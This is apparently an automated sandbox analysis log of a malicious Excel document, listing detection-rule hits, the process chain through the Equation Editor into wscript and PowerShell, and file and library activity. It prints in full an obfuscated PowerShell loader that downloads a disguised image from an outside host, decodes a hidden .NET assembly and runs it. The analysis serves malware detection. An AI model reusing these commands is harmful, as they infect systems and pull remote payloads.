Source: 0000000E.00000002.606652331.0000000003F11000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3620, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1B25204E.doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\lionsarebeautifultoruletheforestandtheyalwayskingogthejunglewhoneverknowmanythingkingisrigerbutlionisthekingo__junglelionbeautiufl[1].doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: classification engine Classification label: mal100.spre.bank.troj.spyw.expl.evad.winXLS@32/35@12/5
Source: C:\Windows\explorer.exe Code function: 14_2_03F13BF4 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,SleepEx, 14_2_03F13BF4
Source: C:\Windows\explorer.exe Code function: 14_2_03F135E8 CoCreateInstance, 14_2_03F135E8
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\26330000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR6576.tmp Jump to behavior
Source: #20240627_Edlen_A.xls OLE indicator, Workbook stream: true
Source: 26330000.0.dr OLE indicator, Workbook stream: true
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\lionarekingofjungleimageshe.vbs"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\lionarekingofjungleimageshe.vbs"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.GBR/0808/651.771.64.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: unknown Process created: C:\Windows\System32\taskeng.exe taskeng.exe {2B2AF159-87EA-4DB0-87E1-2E594ED3F3FE} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe Process created: C:\Users\user\AppData\Roaming\rugtucw C:\Users\user\AppData\Roaming\rugtucw
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\lionarekingofjungleimageshe.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.GBR/0808/651.771.64.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process created: C:\Users\user\AppData\Roaming\rugtucw C:\Users\user\AppData\Roaming\rugtucw Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
